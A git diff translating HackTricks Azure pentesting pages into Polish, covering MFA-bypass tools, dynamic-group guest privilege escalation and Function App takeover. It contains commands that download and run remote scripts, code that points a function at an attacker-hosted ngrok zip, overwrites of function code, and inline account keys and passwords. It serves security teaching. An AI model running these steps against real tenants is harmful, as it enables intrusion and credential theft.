+85,6 @@ One Azure MFA option is to **receive a call in the configured phone number** whe Policies often asks for a compliant device or MFA, so an **attacker could register a compliant device**, get a **PRT** token and **bypass this way the MFA**. Start by registering a **compliant device in Intune**, then **get the PRT** with: - ```powershell $prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\.pfx -Credentials $credentials @@ -97,89 +94,72 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` - -Find more information about this kind of attack in the following page: +Znajdź więcej informacji na temat tego rodzaju ataku na następującej stronie: {{#ref}} ../../az-lateral-movement-cloud-on-prem/pass-the-prt.md {{#endref}} -## Tooling +## Narzędzia ### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) -This script get some user credentials and check if it can login in some applications. +Ten skrypt pobiera dane logowania użytkownika i sprawdza, czy można zalogować się do niektórych aplikacji. -This is useful to see if you **aren't required MFA to login in some applications** that you might later abuse to **escalate pvivileges**. +Jest to przydatne, aby zobaczyć, czy **nie jest wymagane MFA do zalogowania się do niektórych aplikacji**, które możesz później wykorzystać do **eskalacji uprawnień**. ### [roadrecon](https://github.com/dirkjanm/ROADtools) -Get all the policies - +Pobierz wszystkie polityki ```bash roadrecon plugin policies ``` - ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) -MFASweep is a PowerShell script that attempts to **log in to various Microsoft services using a provided set of credentials and will attempt to identify if MFA is enabled**. Depending on how conditional access policies and other multi-factor authentication settings are configured some protocols may end up being left single factor. It also has an additional check for ADFS configurations and can attempt to log in to the on-prem ADFS server if detected. - +MFASweep to skrypt PowerShell, który próbuje **zalogować się do różnych usług Microsoftu, używając podanego zestawu poświadczeń i spróbuje zidentyfikować, czy MFA jest włączone**. W zależności od tego, jak skonfigurowane są zasady dostępu warunkowego i inne ustawienia uwierzytelniania wieloskładnikowego, niektóre protokoły mogą pozostać jako jednoskładnikowe. Posiada również dodatkowe sprawdzenie konfiguracji ADFS i może próbować zalogować się do lokalnego serwera ADFS, jeśli zostanie wykryty. ```bash Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password ``` - ### [ROPCI](https://github.com/wunderwuzzi23/ropci) -This tool has helped identify MFA bypasses and then abuse APIs in multiple production AAD tenants, where AAD customers believed they had MFA enforced, but ROPC based authentication succeeded. +To narzędzie pomogło zidentyfikować obejścia MFA, a następnie wykorzystać API w wielu produkcyjnych dzierżawach AAD, gdzie klienci AAD wierzyli, że mają wymuszone MFA, ale uwierzytelnianie oparte na ROPC zakończyło się sukcesem. > [!TIP] -> You need to have permissions to list all the applications to be able to generate the list of the apps to brute-force. - +> Musisz mieć uprawnienia do wyświetlenia wszystkich aplikacji, aby móc wygenerować listę aplikacji do ataku brute-force. ```bash ./ropci configure ./ropci apps list --all --format json -o apps.json ./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv ./ropci auth bulk -i apps.csv -o results.json ``` - ### [donkeytoken](https://github.com/silverhack/donkeytoken) -Donkey token is a set of functions which aim to help security consultants who need to validate Conditional Access Policies, tests for 2FA-enabled Microsoft portals, etc.. +Donkey token to zestaw funkcji, które mają na celu pomoc konsultantom ds. bezpieczeństwa, którzy muszą weryfikować Polityki Dostępu Warunkowego, testy dla portali Microsoft z włączonym 2FA itp.
git clone https://github.com/silverhack/donkeytoken.git
 Import-Module '.\donkeytoken' -Force
 
-**Test each portal** if it's possible to **login without MFA**: - +**Testuj każdy portal**, czy możliwe jest **zalogowanie się bez MFA**: ```powershell $username = "conditional-access-app-user@azure.training.hacktricks.xyz" $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue ``` - -Because the **Azure** **portal** is **not constrained** it's possible to **gather a token from the portal endpoint to access any service detected** by the previous execution. In this case Sharepoint was identified, and a token to access it is requested: - +Ponieważ **portal** **Azure** **nie jest ograniczony**, możliwe jest **zdobycie tokena z punktu końcowego portalu, aby uzyskać dostęp do dowolnej usługi wykrytej** w poprzednim wykonaniu. W tym przypadku zidentyfikowano Sharepoint, a token do uzyskania dostępu do niego jest żądany: ```powershell $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune Read-JWTtoken -token $token.access_token ``` - -Supposing the token has the permission Sites.Read.All (from Sharepoint), even if you cannot access Sharepoint from the web because of MFA, it's possible to use the token to access the files with the generated token: - +Zakładając, że token ma uprawnienia Sites.Read.All (z Sharepoint), nawet jeśli nie możesz uzyskać dostępu do Sharepoint z sieci z powodu MFA, możliwe jest użycie tokena do uzyskania dostępu do plików za pomocą wygenerowanego tokena: ```powershell $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl ``` - -## References +## Odniesienia - [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s) - [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md index 322d18348..93e47b25c 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -2,28 +2,27 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -**Dynamic groups** are groups that has a set of **rules** configured and all the **users or devices** that match the rules are added to the group. Every time a user or device **attribute** is **changed**, dynamic rules are **rechecked**. And when a **new rule** is **created** all devices and users are **checked**. +**Dynamiczne grupy** to grupy, które mają skonfigurowany zestaw **reguł**, a wszyscy **użytkownicy lub urządzenia**, które pasują do reguł, są dodawani do grupy. Za każdym razem, gdy **atrybut** użytkownika lub urządzenia jest **zmieniany**, dynamiczne reguły są **ponownie sprawdzane**. A gdy **nowa reguła** jest **tworzona**, wszystkie urządzenia i użytkownicy są **sprawdzani**. -Dynamic groups can have **Azure RBAC roles assigned** to them, but it's **not possible** to add **AzureAD roles** to dynamic groups. +Dynamiczne grupy mogą mieć przypisane **role Azure RBAC**, ale **nie jest możliwe** dodanie **ról AzureAD** do dynamicznych grup. -This feature requires Azure AD premium P1 license. +Ta funkcja wymaga licencji Azure AD premium P1. ## Privesc -Note that by default any user can invite guests in Azure AD, so, If a dynamic group **rule** gives **permissions** to users based on **attributes** that can be **set** in a new **guest**, it's possible to **create a guest** with this attributes and **escalate privileges**. It's also possible for a guest to manage his own profile and change these attributes. +Należy pamiętać, że domyślnie każdy użytkownik może zapraszać gości w Azure AD, więc, jeśli reguła **dynamicznej grupy** przyznaje **uprawnienia** użytkownikom na podstawie **atrybutów**, które mogą być **ustawione** w nowym **gościu**, możliwe jest **utworzenie gościa** z tymi atrybutami i **eskalacja uprawnień**. Możliwe jest również, aby gość zarządzał swoim własnym profilem i zmieniał te atrybuty. -Get groups that allow Dynamic membership: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`** +Uzyskaj grupy, które pozwalają na dynamiczne członkostwo: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`** -### Example +### Przykład -- **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")` -- **Rule description**: Any Guest user with a secondary email with the string 'security' will be added to the group - -For the Guest user email, accept the invitation and check the current settings of **that user** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\ -Unfortunately the page doesn't allow to modify the attribute values so we need to use the API: +- **Przykład reguły**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")` +- **Opis reguły**: Każdy użytkownik Gość z drugim adresem e-mail zawierającym ciąg 'security' zostanie dodany do grupy +Dla adresu e-mail użytkownika Gościa, zaakceptuj zaproszenie i sprawdź bieżące ustawienia **tego użytkownika** w [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\ +Niestety strona nie pozwala na modyfikację wartości atrybutów, więc musimy użyć API: ```powershell # Login with the gust user az login --allow-no-subscriptions @@ -33,22 +32,17 @@ az ad signed-in-user show # Update otherMails az rest --method PATCH \ - --url "https://graph.microsoft.com/v1.0/users/" \ - --headers 'Content-Type=application/json' \ - --body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}' +--url "https://graph.microsoft.com/v1.0/users/" \ +--headers 'Content-Type=application/json' \ +--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}' # Verify the update az rest --method GET \ - --url "https://graph.microsoft.com/v1.0/users/" \ - --query "otherMails" +--url "https://graph.microsoft.com/v1.0/users/" \ +--query "otherMails" ``` - ## References - [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index dd5b81f35..b40a2606c 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -4,7 +4,7 @@ ## Function Apps -Check the following page for more information: +Sprawdź następującą stronę, aby uzyskać więcej informacji: {{#ref}} ../az-services/az-function-apps.md @@ -12,33 +12,30 @@ Check the following page for more information: ### Bucket Read/Write -With permissions to read the containers inside the Storage Account that stores the function data it's possible to find **different containers** (custom or with pre-defined names) that might contain **the code executed by the function**. +Mając uprawnienia do odczytu kontenerów w ramach Konta Storage, które przechowuje dane funkcji, można znaleźć **różne kontenery** (niestandardowe lub o predefiniowanych nazwach), które mogą zawierać **kod wykonywany przez funkcję**. -Once you find where the code of the function is located if you have write permissions over it you can make the function execute any code and escalate privileges to the managed identities attached to the function. +Gdy znajdziesz, gdzie znajduje się kod funkcji, jeśli masz uprawnienia do zapisu, możesz sprawić, że funkcja wykona dowolny kod i podnieść uprawnienia do zarządzanych tożsamości przypisanych do funkcji. -- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)` +- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` i `WEBSITE_CONTENTSHARE`) -The code of the function is usually stored inside a file share. With enough access it's possible to modify the code file and **make the function load arbitrary code** allowing to escalate privileges to the managed identities attached to the Function. - -This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from +Kod funkcji jest zazwyczaj przechowywany w udostępnionym pliku. Przy wystarczającym dostępie możliwe jest modyfikowanie pliku kodu i **sprawienie, że funkcja załaduje dowolny kod**, co pozwala na podniesienie uprawnień do zarządzanych tożsamości przypisanych do funkcji. +Ta metoda wdrażania zazwyczaj konfiguruje ustawienia **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`**, które możesz uzyskać z ```bash az functionapp config appsettings list \ - --name \ - --resource-group +--name \ +--resource-group ``` - -Those configs will contain the **Storage Account Key** that the Function can use to access the code. +Te konfiguracje będą zawierać **Klucz Konta Magazynu**, który Funkcja może wykorzystać do uzyskania dostępu do kodu. > [!CAUTION] -> With enough permission to connect to the File Share and **modify the script** running it's possible to execute arbitrary code in the Function and escalate privileges. +> Mając wystarczające uprawnienia do połączenia z Udostępnionym Plikiem i **zmodyfikowania skryptu**, możliwe jest wykonanie dowolnego kodu w Funkcji i eskalacja uprawnień. -The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares: +Poniższy przykład używa macOS do połączenia z udostępnionym plikiem, ale zaleca się również sprawdzenie poniższej strony w celu uzyskania dodatkowych informacji na temat udostępnionych plików: {{#ref}} ../az-services/az-file-shares.md {{#endref}} - ```bash # Username is the name of the storage account # Password is the Storage Account Key @@ -48,50 +45,46 @@ The following example uses macOS to connect to the file share, but it's recommen open "smb://.file.core.windows.net/" ``` - - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -It's also common to find the **zip releases** inside the folder `function-releases` of the Storage Account container that the function app is using in a container **usually called `function-releases`**. - -Usually this deployment method will set the `WEBSITE_RUN_FROM_PACKAGE` config in: +Często można znaleźć **zip releases** w folderze `function-releases` kontenera Storage Account, z którego korzysta aplikacja funkcji, w kontenerze **zwykle nazywanym `function-releases`**. +Zazwyczaj ta metoda wdrażania ustawia konfigurację `WEBSITE_RUN_FROM_PACKAGE` w: ```bash az functionapp config appsettings list \ - --name \ - --resource-group +--name \ +--resource-group ``` - -This config will usually contain a **SAS URL to download** the code from the Storage Account. +Ta konfiguracja zazwyczaj zawiera **SAS URL do pobrania** kodu z Konta Storage. > [!CAUTION] -> With enough permission to connect to the blob container that **contains the code in zip** it's possible to execute arbitrary code in the Function and escalate privileges. +> Mając wystarczające uprawnienia do połączenia z kontenerem blob, który **zawiera kod w zip**, możliwe jest wykonanie dowolnego kodu w Funkcji i eskalacja uprawnień. -- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` +- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` -Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder **`github-actions-deploy`** in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting `WEBSITE_RUN_FROM_PACKAGE`. +Podobnie jak w poprzednim przypadku, jeśli wdrożenie odbywa się za pomocą Github Actions, możliwe jest znalezienie folderu **`github-actions-deploy`** w Koncie Storage zawierającego zip z kodem oraz SAS URL do zip w ustawieniu `WEBSITE_RUN_FROM_PACKAGE`. -- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`) - -With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container **`scm-releases`**. In there it's possible to find the latest release in **Squashfs filesystem file format** and therefore it's possible to read the code of the function: +- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` i `WEBSITE_CONTENTSHARE`) +Mając uprawnienia do odczytu kontenerów wewnątrz Konta Storage, które przechowuje dane funkcji, możliwe jest znalezienie kontenera **`scm-releases`**. Tam można znaleźć najnowsze wydanie w **formacie pliku systemu plików Squashfs** i w związku z tym możliwe jest odczytanie kodu funkcji: ```bash # List containers inside the storage account of the function app az storage container list \ - --account-name \ - --output table +--account-name \ +--output table # List files inside one container az storage blob list \ - --account-name \ - --container-name \ - --output table +--account-name \ +--container-name \ +--output table # Download file az storage blob download \ - --account-name \ - --container-name scm-releases \ - --name scm-latest-.zip \ - --file /tmp/scm-latest-.zip +--account-name \ +--container-name scm-releases \ +--name scm-latest-.zip \ +--file /tmp/scm-latest-.zip ## Even if it looks like the file is a .zip, it's a Squashfs filesystem @@ -105,12 +98,10 @@ unsquashfs -l "/tmp/scm-latest-.zip" mkdir /tmp/fs unsquashfs -d /tmp/fs /tmp/scm-latest-.zip ``` - -It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **``** in the JSON files you can find inside. +Możliwe jest również znalezienie **kluczy master i functions** przechowywanych w koncie magazynu w kontenerze **`azure-webjobs-secrets`** wewnątrz folderu **``** w plikach JSON, które można tam znaleźć. > [!CAUTION] -> With enough permission to connect to the blob container that **contains the code in a zip extension file** (which actually is a **`squashfs`**) it's possible to execute arbitrary code in the Function and escalate privileges. - +> Mając wystarczające uprawnienia do połączenia z kontenerem blob, który **zawiera kod w pliku z rozszerzeniem zip** (który w rzeczywistości jest **`squashfs`**), możliwe jest wykonanie dowolnego kodu w Function i eskalacja uprawnień. ```bash # Modify code inside the script in /tmp/fs adding your code @@ -119,36 +110,30 @@ mksquashfs /tmp/fs /tmp/scm-latest-.zip -b 131072 -noappend # Upload it to the blob storage az storage blob upload \ - --account-name \ - --container-name scm-releases \ - --name scm-latest-.zip \ - --file /tmp/scm-latest-.zip \ - --overwrite +--account-name \ +--container-name scm-releases \ +--name scm-latest-.zip \ +--file /tmp/scm-latest-.zip \ +--overwrite ``` - ### Microsoft.Web/sites/host/listkeys/action -This permission allows to list the function, master and system keys, but not the host one, of the specified function with: - +To uprawnienie pozwala na wylistowanie kluczy funkcji, klucza głównego i kluczy systemowych, ale nie klucza hosta, określonej funkcji z: ```bash az functionapp keys list --resource-group --name ``` - -With the master key it's also possible to to get the source code in a URL like: - +Z kluczem głównym możliwe jest również uzyskanie kodu źródłowego w adresie URL takim jak: ```bash # Get "script_href" from az rest --method GET \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" # Access curl "?code=" ## Python example: curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v ``` - -And to **change the code that is being executed** in the function with: - +Aby **zmienić kod, który jest wykonywany** w funkcji na: ```bash # Set the code to set in the function in /tmp/function_app.py ## The following continues using the python example @@ -158,73 +143,57 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro -H "If-Match: *" \ -v ``` - ### Microsoft.Web/sites/functions/listKeys/action -This permission allows to get the host key, of the specified function with: - +To uprawnienie pozwala na uzyskanie klucza hosta, określonej funkcji z: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` - ### Microsoft.Web/sites/host/functionKeys/write -This permission allows to create/update a function key of the specified function with: - +To uprawnienie pozwala na tworzenie/aktualizowanie klucza funkcji określonej funkcji z: ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` - ### Microsoft.Web/sites/host/masterKey/write -This permission allows to create/update a master key to the specified function with: - +To uprawnienie pozwala na utworzenie/aktualizację klucza głównego dla określonej funkcji z: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` - > [!CAUTION] -> Remember that with this key you can also access the source code and modify it as explained before! +> Pamiętaj, że za pomocą tego klucza możesz również uzyskać dostęp do kodu źródłowego i go modyfikować, jak wyjaśniono wcześniej! ### Microsoft.Web/sites/host/systemKeys/write -This permission allows to create/update a system function key to the specified function with: - +To uprawnienie pozwala na utworzenie/aktualizację klucza funkcji systemowej dla określonej funkcji z: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` - ### Microsoft.Web/sites/config/list/action -This permission allows to get the settings of a function. Inside these configurations it might be possible to find the default values **`AzureWebJobsStorage`** or **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** which contains an **account key to access the blob storage of the function with FULL permissions**. - +To uprawnienie pozwala na uzyskanie ustawień funkcji. W tych konfiguracjach może być możliwe znalezienie domyślnych wartości **`AzureWebJobsStorage`** lub **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, które zawierają **klucz konta do uzyskania dostępu do magazynu blobów funkcji z pełnymi uprawnieniami**. ```bash az functionapp config appsettings list --name --resource-group ``` - -Moreover, this permission also allows to get the **SCM username and password** (if enabled) with: - +Ponadto, to uprawnienie pozwala również na uzyskanie **nazwa użytkownika i hasło SCM** (jeśli włączone) za pomocą: ```bash az rest --method POST \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` - ### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write -These permissions allows to list the config values of a function as we have seen before plus **modify these values**. This is useful because these settings indicate where the code to execute inside the function is located. +Te uprawnienia pozwalają na wylistowanie wartości konfiguracyjnych funkcji, jak widzieliśmy wcześniej, oraz **modyfikację tych wartości**. Jest to przydatne, ponieważ te ustawienia wskazują, gdzie znajduje się kod do wykonania wewnątrz funkcji. -It's therefore possible to set the value of the setting **`WEBSITE_RUN_FROM_PACKAGE`** pointing to an URL zip file containing the new code to execute inside a web application: - -- Start by getting the current config +Możliwe jest zatem ustawienie wartości ustawienia **`WEBSITE_RUN_FROM_PACKAGE`** wskazującego na plik zip URL zawierający nowy kod do wykonania wewnątrz aplikacji webowej: +- Zacznij od uzyskania bieżącej konfiguracji ```bash az functionapp config appsettings list \ - --name \ - --resource-group +--name \ +--resource-group ``` - -- Create the code you want the function to run and host it publicly - +- Stwórz kod, który chcesz, aby funkcja uruchomiła i udostępnij go publicznie ```bash # Write inside /tmp/web/function_app.py the code of the function cd /tmp/web/function_app.py @@ -234,228 +203,189 @@ python3 -m http.server # Serve it using ngrok for example ngrok http 8000 ``` +- Zmodyfikuj funkcję, zachowując poprzednie parametry i dodaj na końcu konfigurację **`WEBSITE_RUN_FROM_PACKAGE`** wskazującą na URL z **zip** zawierającym kod. -- Modify the function, keep the previous parameters and add at the end the config **`WEBSITE_RUN_FROM_PACKAGE`** pointing to the URL with the **zip** containing the code. - -The following is an example of my **own settings you will need to change the values for yours**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , this is where I was hosting the app. - +Poniżej znajduje się przykład moich **własnych ustawień, które będziesz musiał zmienić na swoje**, zwróć uwagę na końcu wartości `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, tutaj hostowałem aplikację. ```bash # Modify the function az rest --method PUT \ - --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \ - --headers '{"Content-Type": "application/json"}' \ - --body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}' +--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \ +--headers '{"Content-Type": "application/json"}' \ +--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}' ``` - ### Microsoft.Web/sites/hostruntime/vfs/write -With this permission it's **possible to modify the code of an application** through the web console (or through the following API endpoint): - +Dzięki temu uprawnieniu **możliwe jest modyfikowanie kodu aplikacji** za pośrednictwem konsoli internetowej (lub za pośrednictwem następującego punktu końcowego API): ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \ - --headers '{"Content-Type": "application/json", "If-Match": "*"}' \ - --body @/tmp/body +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \ +--headers '{"Content-Type": "application/json", "If-Match": "*"}' \ +--body @/tmp/body ``` - ### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write) -This permissions allows to list all the publishing profiles which basically contains **basic auth credentials**: - +Te uprawnienia pozwalają na wylistowanie wszystkich profili publikacji, które zasadniczo zawierają **podstawowe dane uwierzytelniające**: ```bash # Get creds az functionapp deployment list-publishing-profiles \ - --name \ - --resource-group \ - --output json +--name \ +--resource-group \ +--output json ``` - -Another option would be to set you own creds and use them using: - +Inną opcją byłoby ustawienie własnych poświadczeń i użycie ich za pomocą: ```bash az functionapp deployment user set \ - --user-name DeployUser123456 g \ - --password 'P@ssw0rd123!' +--user-name DeployUser123456 g \ +--password 'P@ssw0rd123!' ``` +- Jeśli dane logowania **REDACTED** -- If **REDACTED** credentials - -If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` - +Jeśli widzisz, że te dane logowania są **REDACTED**, to dlatego, że **musisz włączyć opcję podstawowej autoryzacji SCM** i do tego potrzebujesz drugiego uprawnienia (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ```bash # Enable basic authentication for SCM az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ - --body '{ - "properties": { - "allow": true - } - }' +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' # Enable basic authentication for FTP az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ - --body '{ - "properties": { - "allow": true - } - } +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +} ``` - - **Method SCM** -Then, you can access with these **basic auth credentials to the SCM URL** of your function app and get the values of the env variables: - +Następnie możesz uzyskać dostęp za pomocą tych **podstawowych poświadczeń uwierzytelniających do adresu URL SCM** twojej aplikacji funkcji i uzyskać wartości zmiennych środowiskowych: ```bash # Get settings values curl -u ':' \ - https://.scm.azurewebsites.net/api/settings -v +https://.scm.azurewebsites.net/api/settings -v # Deploy code to the funciton zip function_app.zip function_app.py # Your code in function_app.py curl -u ':' -X POST --data-binary "@" \ - https://.scm.azurewebsites.net/api/zipdeploy +https://.scm.azurewebsites.net/api/zipdeploy ``` - _Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$`._ -You can also access the web page from `https://.scm.azurewebsites.net/BasicAuth` +Możesz również uzyskać dostęp do strony internetowej z `https://.scm.azurewebsites.net/BasicAuth` -The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account. +Wartości ustawień zawierają **AccountKey** konta magazynowego przechowującego dane aplikacji funkcji, co pozwala na kontrolowanie tego konta magazynowego. -- **Method FTP** - -Connect to the FTP server using: +- **Metoda FTP** +Połącz się z serwerem FTP używając: ```bash # macOS install lftp brew install lftp # Connect using lftp lftp -u '','' \ - 